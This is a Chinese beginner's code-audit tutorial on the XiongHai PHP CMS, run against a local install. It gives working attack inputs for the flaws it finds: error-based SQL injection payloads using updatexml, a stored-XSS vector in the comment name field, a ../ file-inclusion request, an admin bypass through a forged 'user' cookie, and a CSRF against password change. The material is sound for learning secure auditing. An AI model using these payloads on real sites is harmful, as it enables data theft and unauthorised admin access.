初级代码审计之熊海 CMS 源码审计

本文作者: sher10ck (信安之路首次投稿作者)

笔者为代码审计的小白,能看的懂 php 代码但是没有上手过,你要是和我一样的,那么我觉得这篇文章可以给你一个良好的开端。篇幅很长,所以也希望大家能够将源码下载下来实际操作一番。

环境:

熊海 CMS 源码 + phpstorm

我们首先来总结一下这篇文章所涉及的代码审计漏洞(为了多列出不同的漏洞,每一种漏洞这套 cms 都有数个,这里没有一一列举出来):

1、sql 注入(报错、时间盲注/get、post)

2、xss (存储)

3、文件包含

4、逻辑漏洞(后台登录绕过、CSRF)

cms 网上到处都有下载的,目录结构如下:

admin//后台文件

css//css 文件

files//功能函数文件

images//存放图片

inc//配置文件

install//安装文件

seacmseditor//第三方编辑器

template//模板文件

upload//文件上传目录

index.php//主目录

使用说明.txt//说明文件

报错注入_1

首先打开 index.php 文件:

<?php
 

 
//单一入口模式
 

 
error_reporting(0); //关闭错误显示
 

 
$file=addslashes($_GET['r']); //接收文件名
 

 
$action=$file==''?'index':$file; //判断为空或者等于 index
 

 
include('files/'.$action.'.php'); //载入相应文件
 

 
?>

会接受一个 r 参数,然后跳转到 r.php 文件,r 为空则会包含 files/index.php 文件,跟踪这个文件:

files/index.php line 34

<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>

这里有个 a 标签的跳转,接收 r=content ,那么肯定就是包含了 content.php 文件了,后面还有一个 cid ,我们来分析一下是什么。

<?php 



require 'inc/301.php';



require 'inc/conn.php';



require 'inc/time.class.php';



$query = "SELECT * FROM settings";



$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());



$info = mysql_fetch_array($resul);



?>



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/1999/xhtml">



<head>



<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />



<title><?php echo $info['title']?></title>



<meta name="keywords" content="<?php echo $info['keywords']?>" />



<meta name="description" content="<?php echo $info['description']?>" />



<meta name="version" content="seacms V1.0.0310" />



<?php require 'template/header.php';?>



<div class="barn">



<div id="body">



<div id="imgtext">



<strong>Oh,Perfect</strong>



<span>个人免费开源程序倡导者</span>



</div>



<img src="images/banner.jpg">



</div></div>



<div id="body">



<div class="div1">



<div class="toutiaoimg">



<?php



$query = "SELECT * FROM content WHERE images<>'' AND xs=1 ORDER BY id DESC  LIMIT 1";



$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());



$toutiaoimg = mysql_fetch_array($resul);

跟踪这个 $toutiaoimg, 发现是从数据库中查询 "SELECT * FROM settings" 结果中的一个 cid 值:

image
这里的 id 值为 1 了,那么跳转的 url 就是

http://127.0.0.1/index.php?r=content&cid=1

这里我们继续跟踪 content.php 文件。

 
<?php 
 

 
require 'inc/conn.php';
 

 
require 'inc/time.class.php';
 

 
$query = "SELECT * FROM settings";
 

 
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
 

 
$info = mysql_fetch_array($resul);
 

 

 

 
$id=addslashes($_GET['cid']);
 

 
$query = "SELECT * FROM content WHERE id='$id'";
 

 
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
 

 
$content = mysql_fetch_array($resul);
 

 

 

 
$navid=$content['navclass'];
 

 
$query = "SELECT * FROM navclass WHERE id='$navid'";
 

 
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
 

 
$navs = mysql_fetch_array($resul);
 

 

 

 
//浏览计数
 

 
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
 

 
@mysql_query($query) or die('修改错误:'.mysql_error());
 

 
?>
 

 
<?php
 

 
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");
 

 
$pinglunzs = mysql_num_rows($query)
 

 
?>

这里有很多将参数代入查询的语句,发现 cid 开始做了 addslashes 处理,这种情况就只能看是否是 GBK 的方式连接数据库来进行宽字节注入了,那个用引号包裹起来的cid就比较的鸡肋,那有没有没有被引号包裹起来的呢。

line 19

$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

这里是一个 UPDATE 语句查询,很明显有注入了。对于 update 注入,很明显涉及到我的知识盲区了,仔细分析一下:

and 1=1 //正确

and 1=2 //正确

and sleep(5)//延时成功

老办法,看大牛文章,然后看脑子它吸收不吸收了,主要是盲注和报错注入。

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

原理可以看一下 updatexml 语法,基本上可以理解为我们写入的参数执行后不符合规定的逻辑而报错。

那么我们这里的整体的 payload 就是:

http://127.0.0.1/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

这里能运用报错注入还有一个条件,就是要有回显

 
@mysql_query($query) or die('修改错误:'.mysql_error());
 

当然,这里利用时间盲注也是可以的,笔者认为报错注入比较直观,时间盲注这一部分就不写了。

报错注入_2

我们继续往下看,有一个 form 表单提交的地方:

line 153-172

 
<div id="plbt"><strong>→ 和谐网络,文明发言!</strong>发表评论:</div>
 

 
<form  name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
 

 
<input name="cid" type="hidden" value="<?php echo $id?>"/>
 

 
<ul>
 

 
<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li>
 

 
<li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li>
 

 
<li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>
 

 
<textarea name="content" cols="" rows=""></textarea>
 

 
<input name="save" type="submit"  value="提交" id="input2"/>
 

 
<div id="code"><span>验证码</span><input name="randcode" type="text" /> <span id="yspan"><img src="../inc/code.class.php" onClick="this.src=this.src+'?'+Math.random();" title="看不清楚?点击刷新验证码?"></span>
 

 
</div>
 

 
<div id="xx">
 

 
<span><input name="jz" type="checkbox" value="1" checked="checked"/> 记住我的个人信息</span>
 

 
<span><input name="tz" type="checkbox" value="1" checked="checked"/> 回复后邮件通知我</span>
 

 
</div>
 

 

 

 
<div id="qcfd"></div>
 

 
</ul>
 

 
</form>
 

 
</div>

请求为 r=submit ,所以定位到 submit.php

 
<?php
 

 
session_start();
 

 
require 'inc/conn.php';
 

 
$type=addslashes($_GET['type']);
 

 
$name=$_POST['name'];
 

 
$mail=$_POST['mail'];
 

 
$url=$_POST['url'];
 

 
$content=$_POST['content'];
 

 
$cid=$_POST['cid'];
 

 
$ip=$_SERVER["REMOTE_ADDR"];
 

 
$tz=$_POST['tz'];
 

 
if ($tz==""){$tz=0;}
 

 
$jz=$_POST['jz'];

除了 type,其他的参数都没有进行转换,继续找 sql 语句 (line 66)

 
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
 

 
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());

好了,很容易写 payload 了吧:

[email protected]') and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+

报错注入_3

接着 submit.php 往下看,看到了一个 insert into 的语句吧:

$query = "INSERT INTO interaction (



type,



xs,



cid,



name,



mail,



url,



touxiang,



shebei,



ip,



content,



tz,



date



) VALUES (



'$type',



'$xs',



'$cid',



'$name',



'$mail',



'$url',



'$touxiang',



'$shebei',



'$ip',



'$content',



'$tz',



now()



)";



@mysql_query($query) or die('新增错误:'.mysql_error());


line 121-148

这里一样的由于前面没有对这些参数进行过滤,这里将参数直接 insert 插入到数据库当中,试试 insert 注入:

asdsad' or updatexml(1,concat(0x7e,(database())),0) or'

报错注入_4

上面看 content 这一块代码基本上就弄完了,我们继续看看其他的功能点,主页上还有下载的功能:

image

url 的链接为:

http://127.0.0.1/?r=software&cid=1

我们就打开 software.php , 要是你看懂了上面的文章的话,看到里面的源码基本上就能直接的看出注入点了:

line 7 对 cid 参数进行了 addslashes 处理

line 8-9 有利用的条件,但是 sql 语句中加上了引号显得比较的鸡肋

line 13-14 可以利用

这套 CMS 还存在其他的一些注入,笔者由于篇幅原因就不一一列举出来了,对于挖掘 sql 注入的审计,只要将参数代入了 sql 语句的地方都可以进行尝试,接下来看看其他的一些漏洞吧。

XSS

这里是留言的地方出现了问题,弹出的框框如下:

我们来分析一下原理:

files/content.php(line 107-119)

<div class="userinfo">



<div class="lou">#<?php echo $pinglun['id']?> 楼</div>



<?php if ($pinglun['url']<>""){?> 



<a href="<?php echo $pinglun['url']?>" target="_blank" ><img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg"></a>



<?php }else{?> 



<img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg">



<?php }?>



<strong><a href="<?php echo $pinglun['url']?>" target="_blank"><?php echo $pinglun['name']?></a><span>Lv 1</span></strong>



<li>位置:<a><?php echo $pinglun['ip']?></a></li>



<li>时间:<a><?php echo tranTime(strtotime($pinglun['date']))?></a></li>



<li>来自:<a><?php echo $pinglun['shebei']?></a></li>



</div>



<div class="content">

这里是从 $pinglun 这个变量中取出其中的信息,跟踪这个变量到了 line100-101

$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1) ORDER BY id  DESC LIMIT 5");



$pinglunzs = mysql_num_rows($query);

这里的 interaction 表就是存储评论信息的地方了。

那么是怎么写进去的呢,我们评论抓包看一下:

这里看提交的 url 是 r=submit,那么我们就要在 submit.php 中看看了, line121-147:

$query = "INSERT INTO interaction (



type,



xs,



cid,



name,



mail,



url,



touxiang,



shebei,



ip,



content,



tz,



date



) VALUES (



'$type',



'$xs',



'$cid',



'$name',



'$mail',



'$url',



'$touxiang',



'$shebei',



'$ip',



'$content',



'$tz',



now()



)";

这里并没有做任何处理

但是这里只有 name 处有 xss,为什么 content 没有呢,肯定做了一些处理,大家可以自行寻找一下

submit.php line48

 
$content= addslashes(strip_tags($content));//过滤HTML

就是这里做了处理,strip_tags 函数除去了 html 标签,同理还可以挖到很多一样的漏洞

文件包含

其实这个漏洞就在 index.php 中:

 
<?php
 

 
//单一入口模式
 

 
error_reporting(0); //关闭错误显示
 

 
$file=addslashes($_GET['r']); //接收文件名
 

 
$action=$file==''?'index':$file; //判断为空或者等于index
 

 
include('files/'.$action.'.php'); //载入相应文件
 

 
?>
 

这里的 r 参数接受文件名,访问 files/$file.php

那么我们在根目录下面新建一个 1.php

 
<?php
 

 
phpinfo();
 

 
?>

访问:

http://127.0.0.1/index.php?r=../1

这里对输入的 r 参数有一个 addslashes 转义,但是并没有什么用。

后台登录绕过

这里后台地方出现了问题哦,访问 url:

http://127.0.0.1/admin/?r=login

我们看一下 admin/files/login.php ,一眼就看出来了登陆处注入吧。

注入我们不管了,看看其他的地方,发现 login.php 走不通了,看看其他的 php 文件:

require '../inc/checklogin.php';

发现了这个有趣的东西

 
<?php
 

 
$user=$_COOKIE['user'];
 

 
if ($user==""){
 

 
    header("Location: ?r=login");
 

 
    exit;
 

 
}
 

 
?>

这段代码就是在 cookie 中寻找到 user 的值,若 user 为空,则跳转到登录页面。

这里就很有趣了,刚开始以为要将 $user 的值代入数据库中查询,搜了半天没找到语句,然后测试了一下,只要 user 的值存在,就可以绕过直接进入后台。

CSRF

后台功能点不多,基本上管理员操作的功能都存在 CSRF,我们来分析一下他的源码。

后台修改密码处,包含文件 manage.php

 
<?php
 

 
require '../inc/checklogin.php';
 

 
require '../inc/conn.php';
 

 
$setopen='class="open"';
 

 
$query = "SELECT * FROM manage";
 

 
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
 

 
$manage = mysql_fetch_array($resul);
 

 

 

 
$save=$_POST['save'];
 

 

 

 
$user=$_POST['user'];
 

 
$name=$_POST['name'];
 

 
$password=$_POST['password'];
 

 
$password2=$_POST['password2'];
 

 
$img=$_POST['img'];
 

 
$mail=$_POST['mail'];
 

 
$qq=$_POST['qq'];
 

 

 

 
if ($save==1){
 

 
  
 

 
  
 

 
if ($user==""){
 

 
echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
 

 
exit;
 

 
  }
 

 
  
 

 
if ($name==""){
 

 
echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
 

 
exit;
 

 
  }
 

 
if ($password<>$password2){
 

 
echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
 

 
exit;
 

 
  }

没有使用 token,也没有要求初始密码,只是判断了两次密码是否相同。利用 burpsuite 写好 CSRF poc,就可以利用了。

总结

这套 CMS,上面列举的漏洞有很多,属于基本上没什么防护机制,在审计的时候比较简单,对漏洞产生的原理有更深的见解,希望大家也能够有耐心的去学习。